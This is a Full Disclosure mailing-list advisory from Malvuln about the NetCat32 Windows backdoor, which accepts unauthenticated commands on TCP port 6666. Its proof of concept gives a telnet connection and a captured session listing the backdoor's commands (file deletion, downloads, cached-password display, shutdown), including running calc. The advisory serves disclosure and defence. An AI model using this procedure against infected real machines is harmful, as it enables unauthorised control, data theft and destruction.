full-disclosure - [FD] Backdoor.Win32.NetCat32.10 / Unauthenticated Remote Command Execution

Open Source and information security mailing list archives

Date: Thu, 14 Apr 2022 21:53:22 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NetCat32.10 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetCat32.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6666. Attackers who can reach
infected systems can run commands made available by the backdoor using
TELNET.
Family: NetCat32
Type: PE32
MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3
Vuln ID: MVID-2022-0550
Disclosure: 04/14/2022

Exploit/PoC:
telnet.exe x.x.x.x 6666
HELO

HHEELLPP

========================================================

HELP     This help          EXIT     Quit your session

VER      Get Versions
ExitWin  Shutdown Windows

CLIP     View Clipboard     PASS     Display Cached Pass

DOWNLOAD Host download file GET      Get file from host

EXEC     ShellExecute       EXECHIDE ShellExecute

SHOW     Show Window        HIDE     Hide Window

MAXALL   Max all Windows    MINALL   Min all Windows

RESTALL  Restore Windows    LISTWIN  List Windows

DESK     Set Desktop Color  WALL     Set Wallpaper

MKDIR    Make Directory     RMDIR    Remove Directory

RM       Delete File        MOVE     Move / Rename File

LS       List Directory     TELNET   Connect another

FUNCAP   Rock the CapLock   CDROM    Open/Close cdrom

========================================================

+OK

EEXXEECC  ccaallcc

+OK

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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